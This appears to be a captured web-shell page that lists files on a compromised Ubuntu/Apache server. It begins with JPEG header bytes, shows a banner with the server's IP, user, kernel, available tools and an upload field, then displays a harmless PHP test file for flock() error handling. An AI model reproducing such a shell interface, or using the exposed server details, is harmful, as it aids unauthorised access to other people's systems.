????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.36 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/standard/tests/file/ |
Upload File : |
--TEST--
Test flock() function: Error conditions
--FILE--
<?php
/*
Prototype: bool flock(resource $handle, int $operation [, int &$wouldblock]);
Description: PHP supports a portable way of locking complete files
in an advisory way
*/
echo "*** Testing error conditions ***\n";
$file = dirname(__FILE__)."/flock.tmp";
$fp = fopen($file, "w");
/* array of operatons */
$operations = array(
0,
LOCK_NB,
FALSE,
NULL,
array(1,2,3),
array(),
"string",
"",
"\0"
);
$i = 0;
foreach($operations as $operation) {
echo "\n--- Iteration $i ---";
var_dump(flock($fp, $operation));
$i++;
}
/* Invalid arguments */
$fp = fopen($file, "w");
fclose($fp);
var_dump(flock($fp, LOCK_SH|LOCK_NB));
var_dump(flock("", "", $var));
/* No.of args leass than expected */
var_dump(flock());
var_dump(flock($fp));
/* No.of args greater than expected */
var_dump(flock($fp, "", $var, ""));
echo "\n*** Done ***\n";
?>
--CLEAN--
<?php
$file = dirname(__FILE__)."/flock.tmp";
unlink($file);
?>
--EXPECTF--
*** Testing error conditions ***
--- Iteration 0 ---
Warning: flock(): Illegal operation argument in %s on line %d
bool(false)
--- Iteration 1 ---
Warning: flock(): Illegal operation argument in %s on line %d
bool(false)
--- Iteration 2 ---
Warning: flock(): Illegal operation argument in %s on line %d
bool(false)
--- Iteration 3 ---
Warning: flock(): Illegal operation argument in %s on line %d
bool(false)
--- Iteration 4 ---
Warning: flock() expects parameter 2 to be long, array given in %s on line %d
NULL
--- Iteration 5 ---
Warning: flock() expects parameter 2 to be long, array given in %s on line %d
NULL
--- Iteration 6 ---
Warning: flock() expects parameter 2 to be long, string given in %s on line %d
NULL
--- Iteration 7 ---
Warning: flock() expects parameter 2 to be long, string given in %s on line %d
NULL
--- Iteration 8 ---
Warning: flock() expects parameter 2 to be long, string given in %s on line %d
NULL
Warning: flock(): %d is not a valid stream resource in %s on line %d
bool(false)
Warning: flock() expects parameter 1 to be resource, string given in %s on line %d
NULL
Warning: flock() expects at least 2 parameters, 0 given in %s on line %d
NULL
Warning: flock() expects at least 2 parameters, 1 given in %s on line %d
NULL
Warning: flock() expects at most 3 parameters, 4 given in %s on line %d
NULL
*** Done ***